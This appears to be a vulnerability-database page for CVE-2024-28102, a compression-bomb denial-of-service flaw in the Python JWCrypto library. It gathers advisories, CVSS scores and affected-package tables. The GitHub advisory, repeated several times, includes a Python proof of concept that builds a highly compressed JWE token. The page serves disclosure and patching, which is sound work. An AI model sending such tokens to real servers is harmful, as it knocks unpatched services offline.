CVE-2024-28102
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
6.8
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.
- Record
CVE-2024-28102- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2024-0946
6.8
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.
- Record
EUVD-2024-0946- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-j857-7rvv-vj97
6.8
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
Affected version
Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5
Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.
Poc
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))
payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"zip": "DEF",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print("-----uncompress-----")
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
print("-----compress-----")
payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785">
Mitigation
To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.
References
[1] CVE-2024-21319
- Record
GHSA-j857-7rvv-vj97- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
NVD
6.8
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.
- Record
CVE-2024-28102- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSV
6.8
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.
- Record
CVE-2024-28102- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2024-28102
6.8
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.
- Record
DEBIAN-CVE-2024-28102- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Updated
- 2026-11-02
Show 16 moreShow less
OSVGHSA-j857-7rvv-vj97
6.8
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
Affected version
Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5
Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.
Poc
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))
payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"zip": "DEF",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print("-----uncompress-----")
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
print("-----compress-----")
payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785">
Mitigation
To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.
References
[1] CVE-2024-21319
- Record
GHSA-j857-7rvv-vj97- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVOESA-2024-2443
6.8
python-jwcrypto security update
Implements JWK, JWS, JWE specifications with python-cryptography
Security Fix(es):
VUL-0: CVE-2022-3102: python-jwcrypto: jwcrypto token substitution can lead to authentication bypass(CVE-2022-3102)
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.(CVE-2024-28102)
- Record
OESA-2024-2443- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Updated
- 2026-11-02
OSVOESA-2024-2444
6.8
python-jwcrypto security update
Implements JWK, JWS, JWE specifications with python-cryptography
Security Fix(es):
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.(CVE-2024-28102)
- Record
OESA-2024-2444- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Updated
- 2026-11-02
OSVOESA-2025-1163
6.8
python-jwcrypto security update
Implements JWK, JWS, JWE specifications with python-cryptography
Security Fix(es):
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.(CVE-2024-28102)
- Record
OESA-2025-1163- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-1484
6.8
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
Affected version
Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5
Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.
Poc
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))
payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"zip": "DEF",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print("-----uncompress-----")
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
print("-----compress-----")
payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785">
Mitigation
To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.
References
[1] CVE-2024-21319
- Record
PYSEC-2026-1484- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2024:2559
6.8
Red Hat Security Advisory: python-jwcrypto security update
- Record
RHSA-2024:2559- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2024:3267
6.8
Red Hat Security Advisory: idm:DL1 and idm:client security update
- Record
RHSA-2024:3267- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2024:4522
6.8
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.4 Product Security and Bug Fix Update
- Record
RHSA-2024:4522- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2024-28102
6.8
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.
- Record
UBUNTU-CVE-2024-28102- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H - Updated
- 2026-11-02
OSVALSA-2024:2559 No score
Moderate: python-jwcrypto security update
The python-jwcrypto package provides Python implementations of the JSON Web Key (JWK), JSON Web Signature (JWS), JSON Web Encryption (JWE), and JSON Web Token (JWT) JOSE (JSON Object Signing and Encryption) standards.
Security Fix(es):
- python-jwcrypto: malicious JWE token can cause denial of service (CVE-2024-28102)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2024:2559- Updated
- 2026-11-02
OSVAZL-43360 No score
CVE-2024-28102 affecting package python-jwcrypto 0.6.0-9
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.
- Record
AZL-43360- Updated
- 2026-11-05
OSVAZL-43366 No score
CVE-2024-28102 affecting package python-jwcrypto 0.6.0-9
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.
- Record
AZL-43366- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:13798-1 No score
python310-jwcrypto-1.5.6-2.1 on GA media
These are all security issues fixed in the python310-jwcrypto-1.5.6-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:13798-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11712-1 No score
python313-jwcrypto-1.6.0-1.1 on GA media
These are all security issues fixed in the python313-jwcrypto-1.6.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11712-1- Updated
- 2026-11-02
OSVRLSA-2024:3267 No score
Moderate: idm:DL1 and idm:client security update
Rocky Enterprise Software Foundation Identity Management (IdM) is a centralized authentication, identity management, and authorization solution for both traditional and cloud-based enterprise environments.
Security Fix(es):
-
JWCrypto: denail of service Via specifically crafted JWE (CVE-2023-6681)
-
python-jwcrypto: malicious JWE token can cause denial of service (CVE-2024-28102)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2024:3267- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2024-28102 No score
CVE-2024-28102 in rootio-jwcrypto - Patched by Root
Root has patched CVE-2024-28102 in the rootio-jwcrypto package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2024-28102- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
jwcryptoPyPI |
through 1.5.5 | 1.5.6 |
python3-jwcryptoAlmaLinux:9 |
before 0.8-5.el9_4 | 0.8-5.el9_4 |
python-jwcryptoAzure Linux:3 |
through 0.6.0-9 | None known |
python-jwcryptoAzure Linux:2 |
through 0.6.0-9 | None known |
python-jwcryptoDebian:12 |
before 1.1.0-1+deb12u1, plus listed versions 1.1.0-1 |
1.1.0-1+deb12u1 |
python-jwcryptoDebian:13 |
before 1.5.6-1 | 1.5.6-1 |
python-jwcryptoDebian:14 |
before 1.5.6-1 | 1.5.6-1 |
python-jwcryptoDebian:11 |
before 0.8.0-1+deb11u1, plus listed versions 0.8.0-1 |
0.8.0-1+deb11u1 |
jwcryptoPyPI |
before 1.5.6, plus listed versions 0.2.00.2.10.3.00.3.10.4.0 Show 21 moreShow less0.4.10.4.20.5.00.6.00.70.80.90.9.11.01.21.31.3.11.41.4.11.4.21.5.01.5.11.5.21.5.31.5.41.5.5 |
1.5.6 |
python-jwcryptoopenEuler:22.03-LTS-SP1 From an advisory covering 2 CVEs |
before 1.4.2-3.oe2203sp1 | 1.4.2-3.oe2203sp1 |
Show 77 moreShow less
| Package | Affected | Fixed |
|---|---|---|
python-jwcryptoopenEuler:22.03-LTS-SP3 |
before 1.4.2-3.oe2203sp3 | 1.4.2-3.oe2203sp3 |
python-jwcryptoopenEuler:20.03-LTS-SP4 |
before 0.5.0-5.oe2003sp4 | 0.5.0-5.oe2003sp4 |
python-jwcryptoRed Hat:enterprise_linux:9::appstream |
before 0:0.8-5.el9_4 | 0:0.8-5.el9_4 |
python3-jwcryptoRed Hat:enterprise_linux:9::appstream |
before 0:0.8-5.el9_4 | 0:0.8-5.el9_4 |
bind-dyndb-ldapRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:11.6-5.module+el8.10.0+21691+df63127d | 0:11.6-5.module+el8.10.0+21691+df63127d |
bind-dyndb-ldap-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:11.6-5.module+el8.10.0+21691+df63127d | 0:11.6-5.module+el8.10.0+21691+df63127d |
bind-dyndb-ldap-debugsourceRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:11.6-5.module+el8.10.0+21691+df63127d | 0:11.6-5.module+el8.10.0+21691+df63127d |
custodiaRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.6.0-3.module+el8.9.0+18911+94941f82 | 0:0.6.0-3.module+el8.9.0+18911+94941f82 |
ipaRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-clientRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-client-commonRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-client-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-client-epnRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-client-sambaRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-commonRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-debugsourceRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-healthcheckRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.12-3.module+el8.9.0+19692+fac39a03 | 0:0.12-3.module+el8.9.0+19692+fac39a03 |
ipa-healthcheck-coreRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.12-3.module+el8.9.0+19692+fac39a03 | 0:0.12-3.module+el8.9.0+19692+fac39a03 |
ipa-python-compatRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-selinuxRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
ipa-serverRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21691+df63127d | 0:4.9.13-9.module+el8.10.0+21691+df63127d |
ipa-server-commonRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21691+df63127d | 0:4.9.13-9.module+el8.10.0+21691+df63127d |
ipa-server-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21691+df63127d | 0:4.9.13-9.module+el8.10.0+21691+df63127d |
ipa-server-dnsRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21691+df63127d | 0:4.9.13-9.module+el8.10.0+21691+df63127d |
ipa-server-trust-adRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21691+df63127d | 0:4.9.13-9.module+el8.10.0+21691+df63127d |
ipa-server-trust-ad-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21691+df63127d | 0:4.9.13-9.module+el8.10.0+21691+df63127d |
opendnssecRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:2.1.7-1.module+el8.9.0+18911+94941f82 | 0:2.1.7-1.module+el8.9.0+18911+94941f82 |
opendnssec-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:2.1.7-1.module+el8.9.0+18911+94941f82 | 0:2.1.7-1.module+el8.9.0+18911+94941f82 |
opendnssec-debugsourceRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:2.1.7-1.module+el8.9.0+18911+94941f82 | 0:2.1.7-1.module+el8.9.0+18911+94941f82 |
python-jwcryptoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.5.0-2.module+el8.10.0+21692+c9b201bc | 0:0.5.0-2.module+el8.10.0+21692+c9b201bc |
python-kdcproxyRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.4-5.module+el8.9.0+18911+94941f82 | 0:0.4-5.module+el8.9.0+18911+94941f82 |
python-qrcodeRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:5.1-12.module+el8.9.0+18920+2223d05e | 0:5.1-12.module+el8.9.0+18920+2223d05e |
python-yubicoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:1.3.2-9.1.module+el8.9.0+18920+2223d05e | 0:1.3.2-9.1.module+el8.9.0+18920+2223d05e |
python3-custodiaRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.6.0-3.module+el8.9.0+18911+94941f82 | 0:0.6.0-3.module+el8.9.0+18911+94941f82 |
python3-ipaclientRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
python3-ipalibRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21692+c9b201bc | 0:4.9.13-9.module+el8.10.0+21692+c9b201bc |
python3-ipaserverRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21691+df63127d | 0:4.9.13-9.module+el8.10.0+21691+df63127d |
python3-ipatestsRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+21691+df63127d | 0:4.9.13-9.module+el8.10.0+21691+df63127d |
python3-jwcryptoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.5.0-2.module+el8.10.0+21692+c9b201bc | 0:0.5.0-2.module+el8.10.0+21692+c9b201bc |
python3-kdcproxyRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.4-5.module+el8.9.0+18911+94941f82 | 0:0.4-5.module+el8.9.0+18911+94941f82 |
python3-pyusbRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:1.0.0-9.1.module+el8.9.0+18920+2223d05e | 0:1.0.0-9.1.module+el8.9.0+18920+2223d05e |
python3-qrcodeRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:5.1-12.module+el8.9.0+18920+2223d05e | 0:5.1-12.module+el8.9.0+18920+2223d05e |
python3-qrcode-coreRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:5.1-12.module+el8.9.0+18920+2223d05e | 0:5.1-12.module+el8.9.0+18920+2223d05e |
python3-yubicoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:1.3.2-9.1.module+el8.9.0+18920+2223d05e | 0:1.3.2-9.1.module+el8.9.0+18920+2223d05e |
pyusbRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:1.0.0-9.1.module+el8.9.0+18920+2223d05e | 0:1.0.0-9.1.module+el8.9.0+18920+2223d05e |
slapi-nisRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.60.0-4.module+el8.10.0+20723+03062ebd | 0:0.60.0-4.module+el8.10.0+20723+03062ebd |
slapi-nis-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.60.0-4.module+el8.10.0+20723+03062ebd | 0:0.60.0-4.module+el8.10.0+20723+03062ebd |
slapi-nis-debugsourceRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:0.60.0-4.module+el8.10.0+20723+03062ebd | 0:0.60.0-4.module+el8.10.0+20723+03062ebd |
softhsmRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:2.6.0-5.module+el8.9.0+18911+94941f82 | 0:2.6.0-5.module+el8.9.0+18911+94941f82 |
softhsm-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:2.6.0-5.module+el8.9.0+18911+94941f82 | 0:2.6.0-5.module+el8.9.0+18911+94941f82 |
softhsm-debugsourceRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:2.6.0-5.module+el8.9.0+18911+94941f82 | 0:2.6.0-5.module+el8.9.0+18911+94941f82 |
softhsm-develRed Hat:enterprise_linux:8::appstream From an advisory covering 2 CVEs |
before 0:2.6.0-5.module+el8.9.0+18911+94941f82 | 0:2.6.0-5.module+el8.9.0+18911+94941f82 |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.4::el8 From an advisory covering 3 CVEs |
before 0:4.5.8-1.el8ap | 0:4.5.8-1.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.4::el9 From an advisory covering 3 CVEs |
before 0:4.5.8-1.el9ap | 0:4.5.8-1.el9ap |
bind-dyndb-ldapRocky Linux:8 From an advisory covering 2 CVEs |
before 0:11.6-5.module+el8.10.0+1819+0aeba2f1 | 0:11.6-5.module+el8.10.0+1819+0aeba2f1 |
custodiaRocky Linux:8 From an advisory covering 2 CVEs |
before 0:0.6.0-3.module+el8.9.0+1371+ffa84eb9 | 0:0.6.0-3.module+el8.9.0+1371+ffa84eb9 |
ipaRocky Linux:8 From an advisory covering 2 CVEs |
before 0:4.9.13-9.module+el8.10.0+1818+2dfda7a6 | 0:4.9.13-9.module+el8.10.0+1818+2dfda7a6 |
ipa-healthcheckRocky Linux:8 From an advisory covering 2 CVEs |
before 0:0.12-3.module+el8.9.0+1433+5bd2f890 | 0:0.12-3.module+el8.9.0+1433+5bd2f890 |
opendnssecRocky Linux:8 From an advisory covering 2 CVEs |
before 0:2.1.7-1.module+el8.9.0+1371+ffa84eb9 | 0:2.1.7-1.module+el8.9.0+1371+ffa84eb9 |
python-jwcryptoRocky Linux:8 From an advisory covering 2 CVEs |
before 0:0.5.0-2.module+el8.10.0+1818+2dfda7a6 | 0:0.5.0-2.module+el8.10.0+1818+2dfda7a6 |
python-kdcproxyRocky Linux:8 From an advisory covering 2 CVEs |
before 0:0.4-5.module+el8.9.0+1371+ffa84eb9 | 0:0.4-5.module+el8.9.0+1371+ffa84eb9 |
python-qrcodeRocky Linux:8 From an advisory covering 2 CVEs |
before 0:5.1-12.module+el8.9.0+1371+ffa84eb9 | 0:5.1-12.module+el8.9.0+1371+ffa84eb9 |
python-yubicoRocky Linux:8 From an advisory covering 2 CVEs |
before 0:1.3.2-9.1.module+el8.9.0+1371+ffa84eb9 | 0:1.3.2-9.1.module+el8.9.0+1371+ffa84eb9 |
pyusbRocky Linux:8 From an advisory covering 2 CVEs |
before 0:1.0.0-9.1.module+el8.9.0+1371+ffa84eb9 | 0:1.0.0-9.1.module+el8.9.0+1371+ffa84eb9 |
slapi-nisRocky Linux:8 From an advisory covering 2 CVEs |
